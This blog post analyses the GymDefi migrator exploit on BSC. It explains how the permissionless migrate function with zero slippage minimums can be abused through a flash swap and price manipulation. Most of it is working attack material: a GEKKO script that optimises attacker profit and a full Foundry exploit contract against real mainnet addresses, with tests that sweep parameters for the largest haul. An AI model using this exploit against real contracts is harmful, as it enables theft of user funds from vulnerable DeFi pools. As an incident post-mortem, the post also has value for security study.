gymdefi hack

  • bixia1994
  • 更新于 2022-04-10 20:46
  • 阅读 2548

如何找到最优解?

Ref

https://bscscan.com/address/0x1befe6f3f0e8edd2d4d15cae97baee01e51ea4a4#code https://versatile.blocksecteam.com/tx/bsc/0xa5b0246f2f8d238bb56c0ddb500b04bbe0c30db650e06a41e00b6a0fff11a7e5 https://twitter.com/BlockSecTeam/status/1512832398643265537

analysis

the interesting point is in the migrate function: it is permissonless, and the minimal is 0. just like Router.swapTokensForExactTokens,when the minimal received tokens sets to 0, means we can use sandwitch attack to trigger it. let me check, how to make use of it?

pool1: v1Address+WBNB pool2: v2Address+WBNB pool3: WBNB+BUSD 0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16

addLiquidityETH actually only addliquidity for the actual price, named get the quote price: uint amountBOptimal = PancakeLibrary.quote(amountADesired, reserveA, reserveB); when it is unbalance, it will return it back. for the token, it only transferFrom the amount needed, for the ETH part, it will refund the extra.

ETH 多, token 少,多的ETH会退还给我。 可以通过swap来拉开价格,造成ETH多,token少的情况。 migrate认为:固定互换tokenA: tokenB = 1: 1

add: tokenA 1, WETH 100 tokenA: WETH = 1: 100 lp1=> 1,100 tokenB: WETH = 1: 1 lp2=> 1,1 return WETH 99

pool3.swap: WBNB.transfer(300,000 ether) pool1.swap(BNB,tokenA) => pull up price pool1.addLiquidityETH(100) => add liquidity migrate(pool1.lp) => WETH.transfer(unused weth) pool2.removeLiquidityETH(pool2.lp) pool2.swap(tokenB,WETH)

repay flashloan

利润点来自于哪?

add: tokenA 100, WETH 1 tokenA: WETH = 100: 1 lp1=> 100, 1 tokenB: WETH = 1 : 1 lp2=> 100, 1 => 1:1 亏损!

function migrate(uint256 _lpTokens) public nonReentrant {
      require(_lpTokens > 0, "zero LP tokens sended");
      require(IERC20(lpAddress).transferFrom(_msgSender(), address(this), _lpTokens), "transfer failed");
      (uint256 amountTokenRecived, 
       uint256 amountEthRecived) = Router.removeLiquidityETH(
          v1Address,
          _lpTokens,
          0, 
          0, 
          address(this), 
          block.timestamp);

      (uint256 amountTokenStaked,
       uint256 amountEthStaked,
       uint256 LpStaked) = Router.addLiquidityETH{value:amountEthRecived}(
          v2Address, 
          amountTokenRecived, 
          0, 
          0, 
          _msgSender(), 
          block.timestamp);

      uint256 diffEth = amountEthRecived - amountEthStaked;
      if (diffEth > 0) {
        payable(_msgSender()).transfer(diffEth);
      }

      emit migration(_lpTokens, LpStaked);
  }

当前的各池子中token的数量: r0:WBNB, r1:token lp1: r0: 48224671390454476706 lp1: r1: 7139690912895574196500916 totalSupply: 17394738131426634503255 lp2: r0: 11387586657604004961399 lp2: r1: 7677163643402146827976102 totalSupply: 294523598916735041728760 v1Token: balance: 7882399482106057873876655 v2Token: balance: 1450998605164940945782286

因为migrate的思路是把v1Token按照1:1的方式换成v2Token,故能够换成v2Token的最大值就是1450998605164940945782286, 那么我V1Token通过removeLiquidity的方式需要取出来的数量就是1450998605164940945782286, 假设我贷款X个WBNB,将其分成两份,y1用作第一步swap出v1Token,y2用作第二步和swap出的v1Token组成LP

the real probelm is how to find the maximum result

Calculator

# %%
from gekko import GEKKO
m = GEKKO()

# %%
lp1_r0_init = m.Param(value=48224671390454476706/10**18)
lp1_r0_init

# %%
lp1_r1_init = m.Param(value=7139690912895574196500916/10**18)
lp1_r1_init

# %%
lp1_totalSupply_init = m.Param(value=17394738131426634503255/10**18)
lp1_totalSupply_init

# %%
lp2_r0_init = m.Param(value=11387586657604004961399/10**18)
lp2_r0_init

# %%
lp2_r1_init = m.Param(value=7677163643402146827976102/10**18)
lp2_r1_init

# %%
lp2_totalSupply_init = m.Param(value=294523598916735041728760/10**18)
lp2_totalSupply_init

# %%
migrator_v1Token = m.Param(value=7882399482106057873876655/10**18)
migrator_v1Token

# %%
migrator_v2Token = m.Param(value=1450998605164940945782286/10**18)
migrator_v2Token

# %%
BNB_CAP = m.Param(value=440304078411902800794002/10**18)
BNB_CAP

# %%
dump = m.Var(lb=0, value=200000)
lqty = m.Var(lb=0, value=200000)
dump, lqty

# %%
# step1: dump BNB to BNB/v1Address pool
lp1_r0_dump = lp1_r0_init + dump
lp1_r1_dump = (lp1_r0_init * lp1_r1_init) / lp1_r0_dump
v1ReceivedAfterDump = lp1_r1_init - lp1_r1_dump
v1ReceivedAfterDump

# %%
# keep the price steal, not move the price. so just scale is ok
lp1_r1_lqty = lp1_r1_dump + v1ReceivedAfterDump
lp1_r0_lqty = lp1_r0_dump * lp1_r1_lqty / lp1_r1_dump
lp1_lqty = v1ReceivedAfterDump / lp1_r1_dump * lp1_totalSupply_init
lp1_totalSupply_lqty = lp1_totalSupply_init + lp1_lqty

# %%
lqty = lp1_r0_lqty - lp1_r0_dump
m.Equation(dump + lqty <= BNB_CAP)

# %%
# step3: migrate liquidity:: calculate the receive amount
migrator_r0_burn = lp1_lqty / lp1_totalSupply_lqty * lp1_r0_lqty
migrator_r1_burn = lp1_lqty / lp1_totalSupply_lqty * lp1_r1_lqty
lp1_totalSupply_burn = lp1_totalSupply_lqty - lp1_lqty

# %%
m.Equation(migrator_r1_burn <= migrator_v2Token)

# %%
# step4: migrate liquidity:: add liquidity to lp2, as the price not move, just scale is ok
quoteETH = lp2_r0_init / lp2_r1_init * migrator_r1_burn
m.Equation(quoteETH <= migrator_r0_burn)
ETHleft = migrator_r0_burn - quoteETH

lp2_r0_lqty = lp2_r0_init + quoteETH
lp2_r1_lqty = lp2_r1_init + migrator_r1_burn
lp2_lqty = quoteETH / lp2_r0_init * lp2_totalSupply_init
lp2_totalSupply_lqty = lp2_totalSupply_init + lp2_lqty

# %%
# # step4: token more, eth less
# quoteToken = lp2_r1_init / lp2_r0_init * migrator_r0_burn
# m.Equation(quoteToken <= migrator_r1_burn)
# ETHleft = 0
# lp2_r0_lqty = lp2_r0_init + migrator_r0_burn
# lp2_r1_lqty = lp2_r1_init + quoteToken
# lp2_lqty = quoteToken / lp2_r1_init * lp2_totalSupply_init
# lp2_totalSupply_lqty = lp2_totalSupply_init + lp2_lqty

# %%
# step5: remove liquidity from lp2
lp2_totalSupply_burn = lp2_totalSupply_lqty - lp2_lqty
lp2_r0_burn = lp2_lqty * lp2_r0_lqty / lp2_totalSupply_lqty
lp2_r1_burn = lp2_lqty * lp2_r1_lqty / lp2_totalSupply_lqty
v2Received = lp2_r1_lqty - lp2_r1_burn
ETHReceived = lp2_r0_lqty - lp2_r0_burn

# %%
# step6: dump v2 to v2/BNB pool
lp2_r1_dump = lp2_r1_burn + v2Received
lp2_r0_dump = lp2_r0_burn * lp2_r1_burn / lp2_r1_dump
ETHSwappedOut = lp2_r0_burn - lp2_r0_dump

# %%
ETHtotal = ETHleft + ETHReceived + ETHSwappedOut

# %%
profit = ETHtotal - dump - lqty

# %%
m.Maximize(profit)

# %%
m.options.IMODE = 3
m.solve()

# %%
m.options.OBJFCNVAL

# %%
dump.VALUE

# %%
lqty.VALUE

POC

pragma solidity 0.8.12;

import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";

//forge test --match-contract MigrateHack --fork-url $BSC_RPC_URL --fork-block-number 16798806 -vvvv
contract MigrateData is DSTest, stdCheats {
    Vm public vm = Vm(HEVM_ADDRESS);

    address public v1Address = 0xE98D920370d87617eb11476B41BF4BE4C556F3f8;
    address public v2Address = 0x3a0d9d7764FAE860A659eb96A500F1323b411e68;
    address public lpAddress = 0x8dC058bA568f7D992c60DE3427e7d6FC014491dB;
    address public lpAddress2 = 0x627F27705c8C283194ee9A85709f7BD9E38A1663;
    address public router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address public lp2 = 0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16;
    address public migrator = 0x1BEfe6f3f0E8edd2D4D15Cae97BAEe01E51ea4A4;

    address public WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address public hacker = 0x74298086C94dAb3252C5DAC979C9755c2EB08e49;
    address public hackerContract = 0x4e284686FBCC0F2900F638B04C4D4b433C40a345;
}

interface PairLike {
    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function token0() external view returns (address);

    function totalSupply() external view returns (uint256);

    function getReserves()
        external
        view
        returns (
            uint256,
            uint256,
            uint256
        );

    function balanceOf(address owner) external view returns (uint256);
}

interface RouterLike {
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface MigratorLike {
    function migrate(uint256 _lpTokens) external;
}

interface ERC20Like {
    function transfer(address to, uint256 value) external returns (bool);

    function balanceOf(address owner) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function depoist() external payable;

    function withdraw(uint256) external;
}

contract Hack is MigrateData {
    uint256 public a = 1;
    uint256 public b = 1;

    constructor() {
        ERC20Like(WBNB).approve(router, type(uint256).max);
        ERC20Like(v1Address).approve(router, type(uint256).max);
        ERC20Like(v2Address).approve(router, type(uint256).max);
        ERC20Like(lpAddress2).approve(router, type(uint256).max);

        ERC20Like(lpAddress).approve(migrator, type(uint256).max);
    }

    ///flashswap BNB from lp2
    function start(uint256 _a, uint256 _b) public returns (uint256 profit) {
        a = _a;
        b = _b;

        uint256 amountBNB = ERC20Like(WBNB).balanceOf(lp2) / a - 1;

        (uint256 amount0Out, uint256 amount1Out) = PairLike(lp2).token0() ==
            WBNB
            ? (amountBNB, uint256(0))
            : (uint256(0), amountBNB);
        PairLike(lp2).swap(amount0Out, amount1Out, address(this), hex"4060");
        res();
        profit = ERC20Like(WBNB).balanceOf(address(this));
    }

    ///do the heavy lifting
    function pancakeCall(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external {
        ///swap WBNB for v1
        ///addliqiudity WBNB and v1 to pair1
        ///migrate lp token
        ///remove liquidity WBNB and v1 from pair2
        ///swap v2 for WBNB
        ///repay flashloan
        uint256 balanceBefore = ERC20Like(WBNB).balanceOf(address(this));

        address[] memory path = new address[](2);
        path[0] = WBNB;
        path[1] = v1Address;
        RouterLike(router).swapExactTokensForTokens(
            balanceBefore / b,
            0,
            path,
            address(this),
            type(uint256).max
        );
        (, , uint256 liquidity) = RouterLike(router).addLiquidity(
            WBNB,
            v1Address,
            ERC20Like(WBNB).balanceOf(address(this)),
            ERC20Like(v1Address).balanceOf(address(this)),
            0,
            0,
            address(this),
            type(uint256).max
        );
        MigratorLike(migrator).migrate(liquidity);
        ///balance after v1Token
        path[0] = v1Address;
        path[1] = WBNB;
        RouterLike(router).swapExactTokensForTokens(
            ERC20Like(v1Address).balanceOf(address(this)),
            0,
            path,
            address(this),
            type(uint256).max
        );
        uint256 liquidity2 = PairLike(lpAddress2).balanceOf(address(this));
        RouterLike(router).removeLiquidityETH(
            v2Address,
            liquidity2,
            0,
            0,
            address(this),
            type(uint256).max
        );
        address[] memory path2 = new address[](2);
        path2[0] = v2Address;
        path2[1] = WBNB;
        RouterLike(router)
            .swapExactTokensForTokensSupportingFeeOnTransferTokens(
                ERC20Like(v2Address).balanceOf(address(this)),
                0,
                path2,
                address(this),
                type(uint256).max
            );
        ERC20Like(WBNB).depoist{value: address(this).balance}();
        // assertEq(ERC20Like(WBNB).balanceOf(address(this)), balanceBefore);
        require(
            ERC20Like(WBNB).balanceOf(address(this)) >=
                (balanceBefore * 100251) / 100000,
            "not enough"
        );
        ERC20Like(WBNB).transfer(lp2, (balanceBefore * 100251) / 100000);
    }

    function res() public {
        emit log_named_uint(
            "WBNB balance",
            ERC20Like(WBNB).balanceOf(address(this))
        );
    }

    receive() external payable {}
}

contract MigrateHack is MigrateData {
    Hack public hack;

    function setUp() public {
        hack = new Hack();

        vm.label(lpAddress, "lp1");
        vm.label(v1Address, "v1Token");
        vm.label(v2Address, "v2Token");
        vm.label(router, "router");
        vm.label(lp2, "BNBLp");
        vm.label(migrator, "migrator");
        vm.label(address(hack), "hack");

        vm.label(lpAddress2, "lp2");
        vm.label(WBNB, "WBNB");
        vm.label(hacker, "hacker");
        vm.label(hackerContract, "hackerContract");
    }

    //1311.985186973893 profit!!! salute the hacker!!
    function _test_Reply() public {
        vm.startPrank(hacker);
        address(hackerContract).call(
            hex"35cd4a210000000000000000000000000000000000000000000000821ab0d4414980000000000000000000000000000000000000000000000000002086ac35105260000000000000000000000000000000000000000000000001287626ee52197b000000"
        );
        uint256 profit1 = ERC20Like(WBNB).balanceOf(hacker);
        uint256 profit2 = ERC20Like(WBNB).balanceOf(address(hackerContract));

        emit log_named_uint("profit1", profit1);
        emit log_named_uint("profit2", profit2);
    }

    function test_Params() public {
        ///getReserves

        (uint256 r0, uint256 r1, ) = PairLike(lpAddress).getReserves();
        (r0, r1) = PairLike(lpAddress).token0() == WBNB ? (r0, r1) : (r1, r0);
        emit log_named_uint("lp1: r0", r0); //48224671390454476706
        emit log_named_uint("lp1: r1", r1); //7139690912895574196500916
        emit log_named_uint("totalSupply", PairLike(lpAddress).totalSupply());
        (r0, r1, ) = PairLike(lpAddress2).getReserves();
        (r0, r1) = PairLike(lpAddress2).token0() == WBNB ? (r0, r1) : (r1, r0);
        emit log_named_uint("lp2: r0", r0); //11387586657604004961399
        emit log_named_uint("lp2: r1", r1); //7677163643402146827976102
        emit log_named_uint("totalSupply", PairLike(lpAddress2).totalSupply());
        uint256 v1AddressBalance = ERC20Like(v1Address).balanceOf(migrator); //7882399482106057873876655
        emit log_named_uint("v1Token: balance", v1AddressBalance);
        uint256 v2AddressBalance = ERC20Like(v2Address).balanceOf(migrator); //1450998605164940945782286
        emit log_named_uint("v2Token: balance", v2AddressBalance);
        emit log_named_uint("BNB CAP", ERC20Like(WBNB).balanceOf(lp2));
    }

    function _test_Start() public {
        hack.start(1, 40);
    }

    function test_start_1_40() public {
        uint256 profit = hack.start(1, 40);
        emit log_named_uint("profit", profit);
    }

    function test_start_2_40() public {
        uint256 profit = hack.start(2, 40);
        emit log_named_uint("profit", profit);
    }

    function test_start_3_40() public {
        uint256 profit = hack.start(3, 40);
        emit log_named_uint("profit", profit);
    }

    function test_start_4_40() public {
        uint256 profit = hack.start(4, 40);
        emit log_named_uint("profit", profit);
    }

    function test_start_1_30() public {
        uint256 profit = hack.start(1, 30);
        emit log_named_uint("profit", profit);
    }

    function test_start_2_30() public {
        uint256 profit = hack.start(2, 30);
        emit log_named_uint("profit", profit);
    }

    function test_start_3_30() public {
        uint256 profit = hack.start(3, 30);
        emit log_named_uint("profit", profit);
    }

    function test_start_4_30() public {
        uint256 profit = hack.start(4, 30);
        emit log_named_uint("profit", profit);
    }

    function test_start_1_20() public {
        uint256 profit = hack.start(1, 20);
        emit log_named_uint("profit", profit);
    }

    function test_start_2_20() public {
        uint256 profit = hack.start(2, 20);
        emit log_named_uint("profit", profit);
    }

    function test_start_3_20() public {
        uint256 profit = hack.start(3, 20);
        emit log_named_uint("profit", profit);
    }

    ///seems this one is the best? 1085.452240887216 ether
    function test_start_4_20() public {
        uint256 profit = hack.start(4, 20);
        emit log_named_uint("profit", profit);
    }

    function test_start_1_10() public {
        uint256 profit = hack.start(1, 10);
        emit log_named_uint("profit", profit);
    }

    function test_start_2_10() public {
        uint256 profit = hack.start(2, 10);
        emit log_named_uint("profit", profit);
    }

    function test_start_3_10() public {
        uint256 profit = hack.start(3, 10);
        emit log_named_uint("profit", profit);
    }

    function test_start_4_10() public {
        uint256 profit = hack.start(4, 10);
        emit log_named_uint("profit", profit);
    }

    // function test_iterate() public {
    //     for (uint i = 1; i < 5; i++) {
    //         for (uint j = 40; j >= 0; j -= 10) {
    //             (bool success, bytes memory data) = address(hack).call(
    //                 abi.encodeWithSignature(
    //                     "start(uint256,uint256)",
    //                     i,j
    //                 )
    //             );
    //             uint256 profit = abi.decode(data, (uint256));
    //             if (!success) profit = 0;
    //             emit log_named_uint("i:", i);
    //             emit log_named_uint("j:", j);
    //             emit log_named_uint("profit", profit);
    //         }
    //     }
    // }
}
点赞 0
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code